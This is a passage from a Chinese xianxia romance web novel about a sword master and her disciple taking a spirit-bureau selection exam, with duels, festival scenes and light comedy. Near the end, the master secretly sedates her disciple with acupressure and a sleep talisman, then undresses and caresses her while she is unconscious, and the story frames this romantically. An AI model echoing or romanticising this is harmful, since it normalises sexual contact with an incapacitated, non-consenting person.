这很奇怪吗?” “不奇怪。” “睡觉。”穆若水结束了这个话题。 傅清微将书放回案前,自己爬到了床的里侧闭上眼睛。 既然师尊失忆了,为什么那么笃定这行不同的笔迹是她用左手写的, 除非她内心已有答案,故意向她隐瞒了第二个人的存在。 另一个微乎其微的可能,真是她用左手写的,她醒来后试过左手字, 一模一样。 然而师尊在山下的时候,傅清微就没见过拿过笔。今天之前那间书房, 她应该也没仔细看过, 谈何研墨下笔。 傅清微轻轻地翻了一个身,面对着穆若水的方向。 你到底有多少秘密? 穆若水等了许久才等到身边的人睡着。 她脱口而出的答案, 在向傅清微隐瞒了什么。前尘往事于她已是前世,她无意纠结于此,亦不愿因此事横生枝节。 她说出自己的猜测,傅清微肯定又要追问,一来一往,说不定她又要掉金豆子。 徒儿管得太宽,师尊束手束脚,多一事不如少一事。 穆若水阖了阖眼,在心里无声地叹了口气。 * 元宵节那日,两人下了一趟山买了烟花回来,城市里不能燃放,自家的山头没人管。 傅清微好久没有放过烟花了,上一次还是过年的仙女棒,在小区楼下点的,小朋友们聚在一起嬉笑挥舞,大朋友在阴暗的角落独自悄悄点亮仙女棒。 到了晚上,夜空里散开点点烟火,附近村寨里接二连三地放起了烟花,两只小猫饭也不吃了,跑出来看烟花,繁星下并排蹲着,圆脑袋小耳朵特别醒目,傅清微放下饭碗走出来,在身后给小猫背影拍了张照片。 吃过晚饭,傅清微把烟花搬到院子里,用打火机点燃了,捂着耳朵跑回来。 穆若水抱臂靠在门边,轻声嘲她:“没出息的样子。” 傅清微很久没见过这种世面,才不理她,捂着耳朵等了许久,“咻——”一束烟花如拖尾的流星蹿向了夜空,盛放在最高点,噼里啪啦地开了花。 傅清微仰起脸,发出更没出息的:“哇——” 两只蹲在她脚下的小猫也仰起脑袋。 穆若水不得不、勉为其难地随大流,跟着仰起头,璀璨的烟火倒映在她漆黑的瞳孔深处。 她其实也没怎么看过烟花。 在旧时代,这都是大户人家的玩意儿,穷人过年能瞧个热闹就算不错,这热闹并不多见。 一束一束的烟火飞向高空,短暂而绚烂,耀眼得能永远印在人的心中。 穆若水从门槛里走了出来,来到傅清微的身边。 她垂下眼眸,瞧了瞧傅清微落在身边的手,用手指去碰了碰她柔滑的手背。 傅清微仍然看着烟花,手却将她的手牵了过来,一根一根地寻到她的指缝,十指紧扣。 二人二猫站在同一片屋檐下,共赏同一片烟火。 * 元宵之后,山上的绿意一层染过一层,春风来时不觉,觉时已处处春色。 留守小狸花蹲在蓬莱观正门,正襟危坐,皮毛被晒得闪闪发亮,黄瞳澄澄,不怒自威。 灵管局选拔考试已经结束了前三轮理论科目。 判卷组今日的气氛有些凝重。 她们每一年的气氛都很凝重,今年格外凝重。 进入现代以来,灵管局的规模日渐扩张,也逐渐规范化、科技化,总的来说分为后勤和前线两大类。 后勤部门有不少的普通人,譬如研发新装备、实验解剖、能量异动监测等,指望那些只会打打杀杀、画符念咒的修士一点用没有,需要高学历人才。 前线基本都是奋斗在一线的,作战能力强,解决超自然事件,降妖伏魔,出生入死,伤亡率远高于后勤。 两者的需求大相径庭,但又缺一不可。所以灵管局的选拔其实是分开的,标准不能说完全不同,只能说区别很大。因为后勤稳定,出任务的危险性不如前线,人员也少,三年一届,偶尔还会停招。 作为新鲜血液不断注入灵管局的一线人员,则是每年一届选拔,傅清微报考的就是这个。 判卷组一边改卷子一边叹气。 无他,生源太差。 文化水平高的都去考后勤了,报考实战部门的十有八九都是在深山老林潜心修炼的,才会练得一身本事,有得必有舍,让他们做这些咬文嚼字的卷子,那不是赶鸭子上架。 但是流程就是这样,捏着鼻子也要改。 “如果我犯了错,应该罚我去开会,而不是坐在这里,看这些狗屁不通的卷子。”一位改卷老师幽幽道。 “你这个算好了,看看我这个,申论给我默写了一整页《南华真经》。” “《冲虚真经》的在这里,是同一个师傅出的主意吧。” “往卷子写字就不错了,喏,我这还有个交白卷的。” 判卷组的老师都站起来了,说不上是兴奋还是起哄。 “零分!必须零分!简直目无考纪!” 判卷的那位老师把白卷放到一边,慢吞吞地说:“岁主任吩咐了,遇到交白卷的考生要重点关注,如果她姓穆,那就大大地放过去。” “关系户都把手伸到岁主任那里去了?岁主任就不怕人举报她?” “也不能说关系户吧,人就是我们局里的。”判卷老师撕了封名,露出底下白纸黑字的:穆C。 判卷老师抖了抖卷子,提起来面向众人,与有荣焉地展示道:“怎么说呢?满级大佬重回新手村吧。” “……” 众人蜂拥过来,瞻仰这张空白试卷。 “蓬莱观的穆顾问吗?” “只闻其名不见其人,听说她上次一掌击败了阁皂山的掌门灵枢子,把长老们都打自闭了。” “对对对,我也听说了。” “阁皂山不是不让外传吗?你们怎么都知道?” “不道啊,我听的梦话吧可能。” “慈让真人不是在蓬莱清修吗?怎么会突然下山?” “版本更新了,她早就下山了呀,还收了个徒弟,不然灵枢子掌门是怎么被打的,想不开跟她比武招亲抢徒弟嘛。” “听说穆顾问是披马甲专程来陪徒弟应考的。” “什么二十四孝好师父,我师父只会骂我蠢货。” “此事不可外传啊,穆顾问的身份对外是保密状态。” 穆若水提出要报考灵管局,陪徒儿应考,岁已寒对她亲近灵管局欢迎之至,只提了一个要求:尽量不要交白卷,乱涂都行,否则她们不好明目张胆地放水,万一被其他考生瞧见。 穆若水努力了,只有申论一科不会写才交了白卷。 三科成绩出来,傅清微玄学题略差,行测和申论成绩稳居前三。只要在第四科实战考试里排进中游,就有极大的可能录取。 收到局里的短信通知,三天后,进行实战科目测试,第一轮是单体对抗。 因为先前的实习职位,被迫萝卜坑,所以傅清微前面考试的时候都不敢主动和人说话,生怕人家戳穿了她,说她怎样怎样,还来参加考试。 她脸皮薄,恐怕当场窘迫得要钻地洞。 现在成绩出来了,还算亮眼,她进入灵管局的腰杆子也挺直了一些。 集合点。 三三两两地已经聚了一些人,傅清微从门口走进来的时候,听见他们在自我介绍,她现在耳力也比先前好了些。 龙虎山的张道长,茅山的谷天师,武当山,长春观,青城山圆明宫…… 各个拎出来都是名门大派,穿着打扮就能看出来,眼睛长得都比旁人高些。 那些不是名门出身的,有两人一组的,大多数是孤身一人,沉默寡言,不太参与社交。 傅清微踏入大门,众人的目光习惯性看了过来,在场诸位今日都是对手,第一眼注意的都是她背上的两把剑,一长一短,长的那把用灰色布条缠着,只露出朴实无华的剑柄,短的那把则是桃木剑。 第二眼看到的才是她出众的外表,年纪大约二十来岁,和在场的大部分人差不多,一件黑色的连帽衫,工装裤,运动鞋的鞋带扎得整齐,琥珀色眼瞳温润明亮,透着干净无害的气息。 虽然衣着简朴,但气质特别,令人摸不清她的来路。 而她身边戴着口罩的青袍女人更为神秘,大袖飘飘,腰间系了一条金白两色缠绕的细绳,自然垂落身前。长发束在脑后,也只是用了条丝绸发带系在尾端,颇具竹林隐士之风。 她怀里还抱着一只小猫,一边走路一边低头给猫顺毛。 或许是她的道宠。 傅清微二人刚走进来,名门大派那伙便走出两个人,看向她做出迎接的姿势。 傅清微只好携穆若水走过去。 名门就是名门,连路都只走两步,其他的要对方主动。 领头的乾道抱拳礼说:“贫道龙虎山张岭,未请教……” 傅清微回了个拱手礼,自我介绍说:“不才蓬莱观,傅清微。” 张岭停顿了极短的时间,方笑道:“原来是道友,傅道友慈悲。” “无量寿福。”傅清微生疏地念过,介绍她身边的穆若水,说,“这位是我师傅,穆慈。” “穆道友慈悲。” 穆道友不想理他,并不给他眼神。 傅清微解释说:“我师尊她耳朵不太好。” 耳朵不太好的师尊她睁一只眼闭一只眼。 不管傅清微在外面怎么说她,只要不让她叫人就好。 另一位黄色道袍模样清秀的坤道腰间挂着一枚铃铛,介绍说:“我叫谷传音,茅山派的。” 比刚刚那位张道长亲切多了。 傅清微第一次见到正牌的茅山道士,激动得脱口而出:“《僵尸先生》系列是我最喜欢的电影,我看了好多遍。” 谷传音含笑说:“谢谢。好多人这么说。” “不过我听说英叔并不是真道士,但网上有人说他学了道士的本事。你知道真假吗?”谷传音似笑非笑,傅清微的思维从见到偶像切换回现实,脑子也冷静下来,说,“对不起,冒犯了。” 谷传音悠悠地说:“我也不知道呢。” 听出这人并不如表面亲切,和张岭恐怕伯仲之间,傅清微微量社恐瞬间发作。 救救我,谁来救救我? “傅道友!”一道熟悉的声音传来。 穿着深蓝道袍的肖灵秀蹦蹦跳跳地跑过来,一把拽走了傅清微,救她于水火。 肖灵秀将她拉到一边,说:“前两天我叫你你怎么不理我呀?考完试跑得飞快。” 傅清微不好意思道:“我没听见。你今年又来考试呀?” 肖灵秀叹气:“是呀是呀,谁让我抓阄输了呢。” 傅清微:“……” 肖灵秀偏头看抱猫的女人,说:“真人也在啊,真人吉祥。” 傅清微连忙:“嘘!” 好在她们三人站得偏僻,肖灵秀的声音并未引起他人注意,肖灵秀了然地看看二人,小声说:“要保密,是不是?” 傅清微点点头。 肖灵秀改口:“那以后就平等地称穆道友吧,只要真人不计较我僭越。” 真人一心给小三花梳毛,无心计较。 傅清微好不容易遇到个熟人,索性懒得再走动,在原地和肖灵秀寒暄:“你怎么不和他们龙虎山的站在一起?阁皂派也不是无名之辈啊。” 肖灵秀嘟嘟囔囔,道:“他们才看不上我们呢。就领头那两个,姓张的和姓谷的,眼睛长在头顶上,谁都瞧不上,自诩一个第一一个第二,咱都是给他们做陪衬的,没必要去当那绿叶。” 傅清微往那个方向瞧去,虽然不至于像凡人阿谀奉承,丑态百出,确实众星捧月,那两人下巴也始终是仰着的。 原来修道的和凡人没什么不同,只要是人都一样。 至于不愿意去陪衬那两个人的,就像肖灵秀一样,各自占据一个角落。 傅清微一个一个地看过去,什么打扮的都有,除了道士,有满身银饰苗疆装扮的,有和傅清微一样穿着现代装的,也有如穆若水那样一身长袍的,像是修行的隐士。 傅清微察觉到一股视线,直直地盯着她,往投来的方向看去,十五六岁的少女束发盘髻,头戴混元巾,合身的道袍比成人小一号。 她怀抱马尾拂尘,四目相对,朝傅清微紧张一礼。 傅清微遥遥回了一礼,收回目光。 这么小就来报考灵管局吗? 年仅二十岁的傅清微感到了长江后浪推前浪的沧桑。 灵管局的两位考官在九点半准时推门而入,大厅里的二三十人齐齐望去,随着考官走到最前方,众人的距离也慢慢拉近,最终集中到大厅中央。 一位考官温和道:“经过了三科枯燥的理论考试,相信大家都迫不及待想要一展拳脚,试试道行深浅。” 另一位考官环视众人,直言道:“考试结束,你们这里只有一半的人能加入灵管局,最后一科,希望大家全力以赴。” 短短两句话,激起了所有人的好胜心。 傅清微听到了一阵嗡嗡的声音,似乎是剑在鞘中震动,她以为自己听错了,但场中众人不约而同地朝一个方向望去,龙虎山的张岭摸了摸自己的佩剑,嗡鸣声停了下来。 考官投来赞许的目光:“你们之中已经有人达到人剑合一的境界,相信这一届比赛会很精彩,我拭目以待。” 张岭谦虚地露出悦色。 其他人则面色越发冷峻,神情凝重。 傅清微摸了摸穆若水怀里的小三花,舒缓自己的紧张。 考官带领众人来到了一栋单独的楼,占地面积不大,但是推开门以后却是暗藏乾坤,一片堪比阁皂山太极广场的空地铺开了众人面前,同样是汉白玉打造,三十人站在广场上宛如三十只蚂蚁。 中央有一块划出来的正方形石台,高出地面不足一尺,可以将台上人的表现尽收眼底。 左右两边配备超高速摄影机,配合考官监考。 考试采取电脑抽签的方式,每个人都在屏幕上看到了自己的对手。 穆若水不在乎对手是谁。 傅清微抽到的是一位姓孙的道友。 开场之前,傅清微拿着手机在场地周围绕圈子,不时做出拍照的姿势,大为震惊。 众人:“……” 没见过世面的小门派是这样的,说不定连结界都是第一次见。 她走回来,穆若水在她耳边对她说:“演得有点假。” 傅清微小声说:“没事,反正没人认识我,做什么都是正常的。” 穆若水口罩下的唇角牵了牵。 屏幕上跳出傅清微和孙承志的名字。 傅清微第一个跳上石台,脚下不稳,差点踉跄摔了一跤,手在地上扶了一下才站稳,接着她在台上这里瞧瞧,那里摸摸,孙道友等得不耐烦了,催促说:“道友,别再磨蹭了,不想打就认输。” 傅清微已经准备完毕,作出迎战的姿态:“孙道友请。” 孙承志想速战速决,当仁不让地攻了过来,傅清微往后一退,一只白额老虎从她的身后威武地走了出来。 它通身皮毛金光发亮,四肢蕴含着最野生原始的力量,每一步走动都能带动皮肉,看清底下健硕的肌理,危险而强大。 驭兽师? 孙承志悚然一惊。 石台上一声虎啸,孙承志拔剑刺向飞跃过来的猛虎,猛虎的身形短暂地消散又重聚,虎掌将他重重地拍在了地面。 要不是孙承志的剑挡了一下,一爪就要拍得他口吐鲜血。 怎么会有驭兽师?她的老虎藏在了哪里? 场中人一片迷雾,台下却看得清楚。 傅清微站在角落根本就没有动,孙承志冲到台中一半,忽然仰面倒地,两手横剑用力向上,额头爆出青筋,脸涨得通红,似乎在拼命对抗什么。 “是阵法!”有人道出真相。 “原来她刚刚在台上偷偷摸摸是在布阵,麻了。” “幸好我不是第一个碰上她的,这谁能想到?孙道友这下输定了。” “救命,她不是剑修吗?!!” 穆若水在台下自豪的同时心情复杂,她也想知道,她一个近战剑修,是怎么教出一个法修的? 第72章 事情还要回到山上开始讲。 穆若水作为师尊, 尽职尽责,虽然在教授徒弟方面毫无经验,但十分认真, 距灵管局的考试不到两个月, 傅清微要是考不过, 她和蓬莱都丢不起这个脸。 除了做饭撸猫,她每日要去盯着傅清微练习身法和剑法, 都是她集大成的精华, 为此穆若水不惜耐着性子,一遍一遍给她演练——录像虽好, 但没有她真人打得飘逸好看。 穆若水还做了个三角支架, 给傅清微录像,方便她复盘和给她抠身法。 至于那本阵法汇总,束之高阁的东西, 穆若水连翻都没有翻开一页, 别说教她,她看见弯弯绕绕的就头痛。 从前头痛,现在更不屑。 阁皂山的云长老阵法造诣当世前三, 家底掏干,使尽浑身解数,山头都被她劈了一半,不才困住她一个白天。 傅清微白天习剑, 晚上打坐凝神,内练武功都不落下, 穆若水每晚都去泡温泉, 照旧每晚都等不到她。 本来就忙,现在更忙了, 哪有闲心谈情说爱。 除非穆若水脱光了站在她面前,她才会将视线从书上挪开。 穆若水站在门口,低头审视自己松垮垮的外袍,衣衫半解,朝门槛迈了进去。 正在这时,耳边传来一声巨响,一只老虎破窗而入,双足稳稳落地,黄瞳一闪,吼的一声咆哮,朝她扑了过来。 她这座山头,何时来了头猛虎? 穆若水捏紧了拳头,一拳狠狠地砸在猛虎的太阳穴上,老虎轰然倒地,消散在空气里,一丝一毫的血肉都没留下。 什么东西?幻象? 穆若水后知后觉,整理了衣袍向书桌后的傅清微走去。 傅清微:“……” 穆若水:“你布的阵?早说我就不那么用力了。” 傅清微沉吟:“我再研究研究。” 书中说,实则虚之,虚则实之,既然是在她的阵中,为什么她不能控制老虎的虚实变化呢? 穆若水就这样成为了她练手的工具。 穆若水跃起半空,开山一掌劈在虎背,老虎化作点点白光,融进了空气里。 “你这样对待师尊,是否有些枉顾人伦了?”穆若水话音未落,耳后疾风骤起,虎啸雷动,肉掌朝她拍了过来。 “有点意思。”穆若水扬起眉梢,回身又是一掌。 直到老虎消散后,再未能成型,她从阵中施施然走了出来。 傅清微走近她,软软地亲了一下她的脸颊:“这是今天的奖励。” 穆若水:“……”行吧,没白当陪练。 老虎在虚实间的切换是有次数限制的,取决于傅清微画的符灵力能维持多久,随着修为的加深,此类小阵法耗费的灵力可以说忽略不计。 阵法其实也是结界的一种,能力强的可以强行撕开结界,无视一切幻象。 就像穆若水从前一贯的做法。 阵法借助地利,暗合天时,高明的阵法师还会配合人和,所以要强行破阵,在找不到阵眼的情况下,除非对阵法师的实力造成碾压。 * 回到灵管局现场。 傅清微这副打扮实在具有欺骗性,年轻貌美,初出茅庐,又背了两把剑,像极了深山老林第一次进城的贫穷剑修。 谁能猜到她刚刚围着石台绕啊绕,假装拍照的样子,是在用指南针测方位,好在台上布阵。 上了台鬼鬼祟祟,一副怯战的样子。 没想到越是漂亮的姑娘越是会骗人。 众人扼腕。 可怜孙道友好像还没发现真相呢? 孙承志进入阵法后就看不到台下的人了,被傅清微事前的假象迷惑得宁愿信她是佩剑的驭兽师,也没想过对方会是阵法师。 孙承志挥剑和老虎搏斗了好几个来回,两次杀了老虎又被虎爪扑倒在地,两处负伤,肩膀被撕得血肉模糊,才后知后觉他不小心入了幻阵。 什么时候布的阵已经不重要了,要命的是老虎死了还会重生,只有找到阵眼才能出去。 他根本不会阵法,就像大多数剑修一样。 孙承志脑海中回忆着八卦方位,一个一个地试过去。 傅道友年纪也不大,阵法造诣不至于太高,会有破绽的。 孙承志一面躲避老虎的扑击,一面寻找阵眼,在台上像个无头苍蝇似的乱转,不时做个鲤鱼打挺。 台下的人看困了,打起了哈欠。 比试可以胶着,可以超时,但不能无聊。 眼看着傅清微在外围又加了一层阵法,铁了心要把孙承志困死在里面。 坐在高处的考官擦了擦眼角困出来的眼泪,提前宣布了胜负。 “傅小友,撤阵吧。”考官忍住了打哈欠的冲动。 第一场就耗费了这么长时间,今天又不能准时下班了。 傅清微将地上的一张符揭起来,零零碎碎的其他材料也绕着场子回收了,一样不剩,主打一个勤俭持家。 众人:“……” 是真穷啊你们蓬莱。 穆若水感受到了旁边投来同情的视线:“……” 徒儿把她的脸都丢尽了。 幸好她现在叫穆慈,和她慈让真人又有什么关系? 赢了就好。 穆若水朝台上的傅清微偏头,弯了弯眼角。 孙承志拄剑跪在地上,气喘吁吁,从头到尾没有碰到对方一片衣角,郁闷至极。 傅清微知道自己气人,所以表现得分外谦逊:“承让了,孙道友。” 孙承志也是有正经师承的,一场比试不至于输不起,抱剑沉默一拱手,只是也说不出什么好听话来。 傅清微下了台,三步并作两步来到穆若水面前邀功。 穆若水抬手揉了揉她的长发。 众目睽睽,她二人年貌相仿,属实看不出师徒关系,倒像是师姐妹。要说是恋人的话,也……不是不行吧。在场的大多数人几乎都生活在自己师门,不怎么见外人,一时难以想到如此禁忌的方向。 傅清微虽赢了,但胜得不算光彩,未能展示让众人心服口服的实力。 二人仍在站在角落里,只有肖灵秀和她们一起。 穆若水听到有人提到傅清微,分了一丝耳力过去,听见对方管傅清微叫作“那位偷感很重的傅道友”。 穆若水:“什么叫偷感?” 肖灵秀:“回穆道友,就是偷偷摸摸,藏头露尾的意思。” 穆若水:“……” 傅清微:“……” 那怎么办嘛,她才刚学了两个月道法,别人都练了十几年,不用点计谋怎么赢人家? 比试是抽签制,结合擂台赛,傅清微已经进入了下一轮,明天才轮得到她。 师尊的比试她根本不担心,专心地欣赏其他人的比赛。 单打独斗的场上,有的职业占据优势,譬如剑修、体修、符师,像需要厚积薄发的,比如蛊师、降头师、阵法师,还有根本不适合打斗的辅助,譬如药师,上了台就很吃亏。 但不知道是不是有傅清微这个第一轮偷感很重的异类作表率,今年的剑修格外的倒霉,第二个剑修在台下就被下了降头,上台喷嚏不止,满眼是泪,又是胃痛到处痛的,直接给抬走了。 那位十几岁的少女,据说是道医,妙手回春,上台自称姓龙,名璇玑。 一边对对面自报名号一边看着台下的傅清微,偷感也不轻。 傅清微忙对穆若水说:“我不认识她。” 穆若水:“我倒认识她。” 傅清微:“?”你怎么回事?背着我认识别人,是不是陪你坐地铁那个? 穆若水:“两三个月前,你被天雷误伤,占英送了一瓶药,好像是她配的。” 傅清微酸道:“她就提了一嘴,你就记住了?” 穆若水神情淡淡:“与你有关的事,我总记得清楚。” 傅清微抱住穆若水的腰,仰起脸把下巴垫在她肩膀撒娇。 肖灵秀:“……” 是否太不把她当外人了? 清净派的龙道长的武器是一柄马尾拂尘,她是全真弟子,不学符箓,修的是丹道,讲究天人合一。 傅清微现在对玄门的了解比初时深多了,不需要当场查资料,全真教祖王重阳共有七名弟子,号称全真七子。傅清微喜欢武侠小说,对她更是大名鼎鼎,而清净派的开派祖师正是全真七子之一——清静散人孙不二。 傅清微不太懂什么是丹道,网上说的玄之又玄,刚好此番长长见识。 只是她一个学医的,会不会根本不会打架? 龙璇玑的对手也是剑修——剑修含量过高。 对手出剑,她出拂尘,材质似乎是特质柔韧的钢丝,包裹住对方的长剑,摩擦出金石之声。 傅清微看了会儿,觉得对方用拂尘的动作不是特别熟练,似乎不是她的本命武器,或者她根本不擅长打斗。 龙璇玑勉强挡了几招,往后急退两步,体面认输。 傅清微心想:果然还是太难为药师了。 正因为职业限制,所以单体对抗后有第二轮团体任务,相信每个队伍都希望有一个精通医术的辅助。 茅山的谷传音精通符箓,茅山道术名不虚传,三两下就赢得了胜利。 龙虎山的张岭出手剑气如吞虎,一道身影,快出好几个残影,几乎成了他个人的秀场,收剑入鞘,对对手颔首:“承让。” 屏幕上跳出穆若水的名字。 蓬莱观穆慈对阵修士丁。 蓬莱观三个字一出来,台下有人脱口而出:“是那个偷感很重的门派!” 傅清微:“……” 怎么能将她个人行为上升到整个门派呢?! 穆若水稳稳地走上了台,怀里仍抱着小三花,众人齐齐将目光投在她身上,看她是不是也要干出偷偷摸摸的行径。 一步、两步、三步……站定。 修士丁仔细检查了一遍她走的路线,地上有没有阵法材料什么的,才警惕地站到她对面。 相比于傅清微那个身负两把剑的法修的骚操作,面前的穆若水青袍凌立,大袖飘飘,通身没有一把武器,更像一个货真价实的法修。 有其徒必有其师! 猥琐发育流说不定就是她师傅教的,师傅只会比徒弟更阴险。 穆若水平时很少有惆怅的心情,也很少有人敢用这样的目光看她,今天都体会到了。 她真是收了一个好徒儿啊。 穆若水收敛心绪,对台下道:“徒儿,借剑一用。” “好!” 傅清微伸手向后,不等她碰到剑柄,穆若水抬指一动,长剑化作白虹出鞘,飞掠而至,来到穆若水的身旁。 她并没有握在手中,而是控制着长剑悬浮在空中,剑锋直指对手。 穆若水漫不经心地垂下眼眸,摸了摸怀里小三花的毛。 场下像被突然按了静音键。 “我靠!”许久才有人说出了每个人心中浮现的话。 “这特么是剑修???” “这不是剑修,这是剑仙!!!” “好好好,法修穿成剑修,剑修装成法修是吧,你们师徒两口子,我们是你们play的一环吗?”肖灵秀趁乱说道。 “太好了,是剑仙,我们没救了!” 使剑和御剑是两个不同的概念,尤其是游刃有余地御剑,高台坐着的考官已经在打电话了,这是哪一位不世出的高人出山了?区区基层岂不埋没,他现在就起来,考官的位置换她来坐。 ——还能早点下班。 上峰传来指示:照常比试。 考官:好的。 考官制止了下方的议论纷纷,按下了结界开关,将两位选手笼在了结界当中。 “比试正式开始——” 穆若水一只手抱猫,另一只手剑指微抬,剑光在空中分化成千千万万道,万剑朝宗,百川归海。 剑指下落,万剑齐发,势如流星坠地,台上被无边无际的白光笼罩,如果没有结界挡着,台下众人恐怕也难逃剑威。修士丁的身影吞没在剑光里,连一片衣角都看不到了。 台下的人看得眼都直了。 这是穆若水新研究出来的一招,威力不大,花哨大于实用,唯一的好处就是给人开眼。 傅清微最爱这些花里胡哨的。 这还不得给她迷死? 她扭头去看傅清微,傅清微的反应在她预料之中,跳起来激动得快晕过去了。 嗯,不枉她练了好几天。 考官从高台跳了下来,抓耳挠腮,恨不得冲进去看修士丁的死活。 “穆……快住手!”就差给她跪下了。 “无事。” 穆若水不在意地摆了摆手,让剑光继续停留了两秒,才抬手收剑,白光散去,修士丁一屁股坐在地上,衣袍被割了几道口子,脸上也有细微的伤痕,确实没有大碍。 考官松了口气,连忙叫人把失魂落魄的修士丁扶下来。 穆若水握着傅清微的长剑,给她插回剑鞘里,拂了拂她肩膀不存在的灰尘。 “师尊……”傅清微眼神亮闪闪。 “回去再说。”穆若水目光落在她因为激动舔唇而显得水润的唇瓣,酝酿了足足几秒才指尖轻轻地碰了一下。 “师尊?” “让你不要说话的意思。” “……”可是为什么隔了好几秒才碰她的唇。 “嘘……是这样。”傅清微食指抵在她唇瓣中央,别有用心地教她道。 “原来如此。” “师尊不试验一下吗?”傅清微主动握住她的手,指腹落在自己温暖的唇,一点一点地描摹过去,就像在亲吻她的手指。 旁边的肖灵秀欲言又止。 慕强过来结交的其他考生看到这一幕,心情也说不出的微妙。 刚刚说的是师徒,不是……道侣吧?有没有可能他们集体听错了。 他们在原地踟蹰等待了片刻,师徒俩的暧昧游戏才玩完。 不是所有人都没见识,有听过蓬莱大名的,一位绿袍女修士上前问道:“二位可是出自慈让真人门下?” 傅清微说出她们商量好的说辞:“不错,我师尊正是慈让真人唯一的徒弟,我是观主的徒孙。” 为了不堕慈让真人的威名,两人平等地矮一辈。 绿袍女修士当即作揖,说:“我等有眼不识泰山,竟不识慈让真人亲传弟子。” 她面对的穆若水,奈何穆若水不爱理人,只好又将目光落回傅清微身上。 “在下公羊荪,无门无派,终南山一介散修。” “不才蓬莱傅清微,这位是我师尊,穆慈。”提到终南山,傅清微的DNA又动了,差点问她是不是真的有活死人墓,好歹忍住了。 傅清微不擅长社交,她师尊以耳朵不好的理由从一而终地躲懒,幸亏有肖灵秀帮忙。 好不容易把所有人送走了。 肖灵秀:“终南山是个好地方啊,就是日子太苦了。” 傅清微:“什么意思?” 肖灵秀:“没有网没有电没有现代设施,整个一原始森林,里面的散修都是苦修。这种苦都能吃,她们做什么都会成功的。另外你别看她说是无门无派,肯定有师承,但对外保密。” 傅清微不懂这些,听她说倒是长见识了。 肖灵秀咂嘴:“终南山很少有散修出世,出来的都是狠人。” 傅清微眯眼往台上看去,刚好轮到对方上台,傅清微忽然往身边的穆若水看了一眼,公羊荪站在那里的气质,衣袍带风,有一二分像她,但没有那份独一无二的狂妄。 傅清微看穆若水入了迷,没注意到台上的比试已经结束了。 终南山果然不同凡响。 第一轮所有的比试结束,已经来到了晚上。 虽然龙虎山、茅山、终南山包括肖灵秀在内的表现都很出色,散场的时候大家记忆最深刻的还是穆若水那一手剑仙的本事,提起蓬莱观也不再是“偷感很重的门派”,而是出了剑仙的蓬莱。 穆若水以一己之力,力挽狂澜,扭转了蓬莱观的声名。 考试期间,由灵管局提供统一住宿,酒店的一整层都被包下来了,不幸的是傅清微和穆若水没能安排在一个房间。 谁家师徒会住在一起啊?灵管局的后勤部门只是按照常理来安排了住宿。 穆若水拿到房卡时拉长了脸。 明明她们两个在山上已经没住在一起了,占英的被子因快递延误一个星期才送到,穆若水房间没暖气,所以她一直在傅清微房间里睡到了开春,才搬回去的。 要不是那晚…… 诗云:人间四月芳菲尽,山寺桃花始盛开。 山上的春天比人间来得稍迟一些,但人心的春天在一日一日里摇曳。 穆若水不知道她这副身体也是。 万物生灵都有它的季节,或许她也逃不过。春天万物复苏,又到了……的季节。 穆若水自从收徒以后,已经很久没有和傅清微亲近了,她们在山上的日子平静又幸福,她连眼泪都尝不到一滴。 如果傅清微练得不认真,她还能找个由头把她训哭,假公济私。可傅清微早起晚睡,练了剑法练阵法,她这个师尊除了劝她早睡不要熬夜外,毫无办法。 她想过再吸一次傅清微的血,但考试在即,对她精元有损,她更下不去手。 哪有师尊这样对徒儿的? 可是她好渴。 埋在她脖子里闻她两口气息根本不够,至少得咬她几口,不能咬出血,就让她多咬一会儿,止止渴就好。 她每天怀揣着这样的想法,把乖徒儿从头看到脚。 扶着她的手臂,贴在她身后教她习剑的时候,脸埋在她后颈,微微地露出牙齿。 “师、师尊?”身前的傅清微结结巴巴。 “怎么了?” 穆若水已经有点半失去理智,牙尖和唇瓣一起覆上她的后颈,危险地逡巡,喉骨不时吞咽。 “一定要在这里吗?”傅清微能感觉到身后的渴望,即使师尊的渴望异于常人。 她们还在结界里,幕天席地虽然不会被发现,但是第一次就……野战……会不会…… 穆若水轻轻地咬了她一下,眼神里的欲念褪去,故作正色说:“不在这里练剑去哪里?” 傅清微:“……” 她现在摸后颈还有个微乎其微的牙印呢。 穆若水恋恋不舍地松开从后面搂着她腰肢的手,说:“好好练,为师回去做饭了。” “是,师尊。” 傅清微有事可干,偶有绮念也能用正事转移注意力,心如止水。穆若水修炼几乎已经到头了,每日不是想着咬她几口,就是思忖咬哪儿比较好,偏偏吃不到,望梅止渴,越来越渴。 月上中天,虫鸣越发静寂。 傅清微放下手里的《阵法汇总》,揉了揉酸疼的脖子,穆若水从门口走进来,说:“别揉了,待会我给你按按。” 傅清微便停了手,露出一个笑来:“谢谢师尊。” 穆若水垂下眼眸,为自己的计划心里发虚。 好在傅清微半点都不怀疑她,拿了睡衣进浴室洗澡了。 穆若水在屋子里来回踱步,每一声断开的水声都会让她精神紧绷一次。 傅清微洗完澡,过来仰面朝下,趴在了床上,穆若水单膝跪在她身边,给她推拿。 “最近睡眠怎么样?” “一般,昨晚做梦了,可能快考试了,有点轻微焦虑。” “待会我帮你按摩穴道,你今晚应该会睡得很熟。”女人的话语顿了一下。 “谢谢师尊。”傅清微提前闭上眼睛。 人体有几大助眠的穴道,穆若水来到她的头顶,按在她四神聪穴,耳后安眠穴,依次按到涌泉穴,动作轻柔。 傅清微早就陷入梦乡。 穆若水听着她的呼吸声闭了闭眼,喉头微动,又给她画了一道安睡符。 傅清微彻底昏睡过去,不管发生了什么,她都会以为只是做了场梦,今晚不会醒来。 小狸花开春以后就不在屋里睡了,至于小三花,被送到她的小伙伴那里。 穆若水关了房间所有的灯,虽然开不开灯对她没区别,但能减轻她的负罪感,黑暗驱使欲望横流。 月光投映在木床上,穆若水一点一点地剥开了傅清微的衣服,如同月光一样皎白美好的身体呈现在她的眼前。 第73章 穆若水解开了所有的衣扣, 从上到下地将她白日温柔乖巧的徒儿完完整整地看了一遍,不放过任何一个细节。 仅仅如此,她喉咙里难抑的干渴便好受了一些, 血液在循序渐进地升温, 期待享用盛宴。 屋子里开了暖气, 但皮肤暴露在空气里,仍激起了细细的一层汗毛, 根根分明地立起来, 白雪拥红梅,粉色晕开。 她的手指触碰上去。 冰冷的体温刺激得熟睡的年轻女人更冷了, 眉头都微微皱起来。 穆若水意犹未尽地又看了一遍, 替她掖上了被子,然后自己脱了外衫也钻了进去。 傅清微的睡衣被留在原地,人被抱起来, 严丝合缝地压进女人怀里, 穆若水的一只手停留在她的蝴蝶骨,来回描摹着那块骨头漂亮的形状。 两扇蝴蝶骨中间是略微的凹处,手指抚上去能感受到背肌的紧致。 顺着笔直的脊柱往下, 